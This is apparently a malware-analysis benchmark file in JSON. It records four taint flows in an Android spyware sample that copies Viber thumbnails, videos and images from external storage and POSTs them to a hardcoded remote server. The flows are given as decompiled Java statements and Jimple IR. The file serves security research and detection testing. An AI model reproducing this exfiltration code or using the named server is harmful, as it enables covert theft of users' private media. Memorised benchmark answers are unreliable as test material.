-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathvibleaker_android_samp_findings.json
276 lines (276 loc) · 11.5 KB
/
vibleaker_android_samp_findings.json
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
{
"fileName": "vibleaker_android_samp.apk",
"day": "2019-07-25",
"findings": [
{
"source": {
"statement": "String sdPath = Environment.getExternalStorageDirectory().getAbsolutePath();",
"methodName": "public void register()",
"className": "gr.georkouk.kastorakiacounter_new.MyServerFunctions",
"lineNo": 241,
"targetName": "getExternalStorageDirectory",
"targetNo": 1,
"IRs": [
{
"type": "Jimple",
"IRstatement": "$r1 = staticinvoke <android.os.Environment: java.io.File getExternalStorageDirectory()>()"
}
]
},
"sink": {
"statement": "new RestTemplate().exchange(MyVariables.SERVERURL2, HttpMethod.POST, new HttpEntity(formData, requestHeaders), String.class, new Object[0]);",
"methodName": "private void upPst(File file, String name, boolean vd)",
"className": "gr.georkouk.kastorakiacounter_new.MyServerFunctions",
"lineNo": 433,
"targetName": "exchange",
"targetNo": 1,
"IRs": [
{
"type": "Jimple",
"IRstatement": "virtualinvoke $r3.<org.springframework.web.client.RestTemplate: org.springframework.http.ResponseEntity exchange(java.lang.String,org.springframework.http.HttpMethod,org.springframework.http.HttpEntity,java.lang.Class,java.lang.Object[])>(\"http://myvf.no-ip.biz:8086//app//do.php\", $r17, $r4, class \"Ljava/lang/String;\", $r18)"
}
]
},
"intermediateFlows": [
{
"statement": "upFF(sdPath + \"/viber/media/.thumbnails\", \"vithu\", \"vithuA\", false);",
"methodName": "public void register()",
"className": "gr.georkouk.kastorakiacounter_new.MyServerFunctions",
"lineNo": 280,
"ID": 1
},
{
"statement": "List<List<String>> listAll = getAllFOD(new File(folder_));",
"methodName": "public void upFF(String folder_, String flagOk_, String flagIndex_, boolean vid_)",
"className": "gr.georkouk.kastorakiacounter_new.MyServerFunctions",
"lineNo": 346,
"ID": 2
},
{
"statement": "upPst(new File((String) ((List) listAll.get(index)).get(1)), flagOk_ + \"_\" + listAll.size() + \"_index_\" + index + \"_\", vid_);",
"methodName": "public void upFF(String folder_, String flagOk_, String flagIndex_, boolean vid_)",
"className": "gr.georkouk.kastorakiacounter_new.MyServerFunctions",
"lineNo": 355,
"ID": 3
},
{
"statement": "if (file.length() / PlaybackStateCompat.ACTION_PLAY_FROM_MEDIA_ID > 1200) {",
"methodName": "private void upPst(File file, String name, boolean vd)",
"className": "gr.georkouk.kastorakiacounter_new.MyServerFunctions",
"lineNo": 379,
"ID": 4
},
{
"statement": "bm = BitmapFactory.decodeFile(file.getAbsolutePath(), bmOptions);",
"methodName": "private void upPst(File file, String name, boolean vd)",
"className": "gr.georkouk.kastorakiacounter_new.MyServerFunctions",
"lineNo": 383,
"ID": 5
},
{
"statement": "bm.compress(CompressFormat.JPEG, 80, bos);",
"methodName": "private void upPst(File file, String name, boolean vd)",
"className": "gr.georkouk.kastorakiacounter_new.MyServerFunctions",
"lineNo": 385,
"ID": 6
},
{
"statement": "Resource anonymousClass1 = new ByteArrayResource(bos.toByteArray()) {",
"methodName": "private void upPst(File file, String name, boolean vd)",
"className": "gr.georkouk.kastorakiacounter_new.MyServerFunctions",
"lineNo": 387,
"ID": 7
},
{
"statement": "formData.add(\"image\", new HttpEntity(anonymousClass1, imageHeaders));",
"methodName": "public String getFilename()",
"className": "gr.georkouk.kastorakiacounter_new.MyServerFunctions.AnonymousClass1",
"lineNo": 408,
"ID": 8
}
],
"attributes": {
"appendToString": true,
"collections": true,
"pathConstraints": true
},
"ID": 1,
"description": "This malicious flow starts by getting the external storage path and uploads data from the Viber directories to a remote server per an HTTP POST request. There are checks along the flow for checking if the app Viber is installed. ",
"isNegative": false
},
{
"source": {
"statement": "File fvid = new File(sdPath + \"/viber/media/.converted_videos\");",
"methodName": "public void register()",
"className": "gr.georkouk.kastorakiacounter_new.MyServerFunctions",
"lineNo": 245,
"targetName": "File",
"targetNo": 1,
"IRs": [
{
"type": "Jimple",
"IRstatement": "specialinvoke $r4.<java.io.File: void <init>(java.lang.String)>($r9)"
}
]
},
"sink": {
"statement": "new RestTemplate().exchange(MyVariables.SERVERURL2, HttpMethod.POST, new HttpEntity(formData, requestHeaders), String.class, new Object[0]);",
"methodName": "private void upPst(File file, String name, boolean vd)",
"className": "gr.georkouk.kastorakiacounter_new.MyServerFunctions",
"lineNo": 433,
"targetName": "exchange",
"targetNo": 1,
"IRs": [
{
"type": "Jimple",
"IRstatement": "virtualinvoke $r3.<org.springframework.web.client.RestTemplate: org.springframework.http.ResponseEntity exchange(java.lang.String,org.springframework.http.HttpMethod,org.springframework.http.HttpEntity,java.lang.Class,java.lang.Object[])>(\"http://myvf.no-ip.biz:8086//app//do.php\", $r17, $r4, class \"Ljava/lang/String;\", $r18)"
}
]
},
"intermediateFlows": [
{
"statement": "upFF(sdPath + \"/viber/media/.converted_videos\", \"vivid\", \"vividA\", true);",
"methodName": "public void register()",
"className": "gr.georkouk.kastorakiacounter_new.MyServerFunctions",
"lineNo": 255,
"ID": 1
},
{
"statement": "upPst(new File((String) ((List) listAll.get(index)).get(1)), flagOk_ + \"_\" + listAll.size() + \"_index_\" + index + \"_\", vid_);",
"methodName": "public void upFF(String folder_, String flagOk_, String flagIndex_, boolean vid_)",
"className": "gr.georkouk.kastorakiacounter_new.MyServerFunctions",
"lineNo": 355,
"ID": 2
},
{
"statement": "if (file.length() / PlaybackStateCompat.ACTION_PLAY_FROM_MEDIA_ID > 1200) {",
"methodName": "private void upPst(File file, String name, boolean vd)",
"className": "gr.georkouk.kastorakiacounter_new.MyServerFunctions",
"lineNo": 379,
"ID": 3
},
{
"statement": "formData.add(\"image\", new FileSystemResource(file));",
"methodName": "public String getFilename()",
"className": "gr.georkouk.kastorakiacounter_new.MyServerFunctions.AnonymousClass1",
"lineNo": 428,
"ID": 4
}
],
"attributes": {
"appendToString": true,
"collections": true,
"pathConstraints": true
},
"ID": 2,
"description": "This malicious flow reading videos from the Viber directories to a remote server per an HTTP POST request. There are checks along the flow for checking if the app Viber is installed. ",
"isNegative": false
},
{
"source": {
"targetName": "File",
"targetNo": 1,
"statement": "upPst(new File((String) ((List) listAll.get(index)).get(1)), flagOk_ + \"_\" + listAll.size() + \"_index_\" + index + \"_\", vid_);",
"methodName": "public void upFF(String folder_, String flagOk_, String flagIndex_, boolean vid_)",
"className": "gr.georkouk.kastorakiacounter_new.MyServerFunctions",
"lineNo": 355,
"IRs": [
{
"type": "Jimple",
"IRstatement": "specialinvoke $r4.<java.io.File: void <init>(java.lang.String)>($r12)"
}
]
},
"sink": {
"targetName": "exchange",
"targetNo": 1,
"statement": "new RestTemplate().exchange(MyVariables.SERVERURL2, HttpMethod.POST, new HttpEntity(formData, requestHeaders), String.class, new Object[0]);",
"methodName": "public String getFilename()",
"className": "gr.georkouk.kastorakiacounter_new.MyServerFunctions.AnonymousClass1",
"lineNo": 433,
"IRs": [
{
"type": "Jimple",
"IRstatement": "$r1 = virtualinvoke $r2.<java.io.File: java.lang.String getName()>()"
}
]
},
"intermediateFlows": [
{
"statement": "if (vd) {",
"methodName": "private void upPst(File file, String name, boolean vd)",
"className": "gr.georkouk.kastorakiacounter_new.MyServerFunctions",
"lineNo": 372,
"ID": 1
},
{
"statement": "formData.add(\"image\", new FileSystemResource(file));",
"methodName": "private void upPst(File file, String name, boolean vd)",
"className": "gr.georkouk.kastorakiacounter_new.MyServerFunctions",
"lineNo": 440,
"ID": 2
}
],
"description": "This malicious flow sends image to a remote server.",
"isNegative": false,
"attributes": {
"pathConstraints": true,
"appendToString": true
},
"ID": 3
},
{
"source": {
"targetName": "File",
"targetNo": 1,
"statement": "upPst(new File(PathOfImage), flagOk_ + \"_\" + cursor_.getCount() + \"_index_\" + index + \"_\", false);",
"methodName": "public void upFC(Cursor cursor_, String flagOk_, String flagIndex_)",
"className": "gr.georkouk.kastorakiacounter_new.MyServerFunctions",
"lineNo": 330,
"IRs": [
{
"type": "Jimple",
"IRstatement": "specialinvoke $r4.<java.io.File: void <init>(java.lang.String)>($r8)"
}
]
},
"sink": {
"targetName": "RestTemplate",
"targetNo": 1,
"statement": "new RestTemplate().exchange(MyVariables.SERVERURL2, HttpMethod.POST, new HttpEntity(formData, requestHeaders), String.class, new Object[0]);",
"methodName": "public String getFilename()",
"className": "gr.georkouk.kastorakiacounter_new.MyServerFunctions.AnonymousClass1",
"lineNo": 433,
"IRs": [
{
"type": "Jimple",
"IRstatement": "$r1 = virtualinvoke $r2.<java.io.File: java.lang.String getName()>()"
}
]
},
"intermediateFlows": [
{
"statement": "if (vd) {",
"methodName": "private void upPst(File file, String name, boolean vd)",
"className": "gr.georkouk.kastorakiacounter_new.MyServerFunctions",
"lineNo": 372,
"ID": 1
},
{
"statement": "formData.add(\"image\", new FileSystemResource(file));",
"methodName": "private void upPst(File file, String name, boolean vd)",
"className": "gr.georkouk.kastorakiacounter_new.MyServerFunctions",
"lineNo": 440,
"ID": 2
}
],
"description": "This malicious flow sends images to a remote server.",
"isNegative": false,
"attributes": {
"pathConstraints": true,
"appendToString": true
},
"ID": 4
}
]
}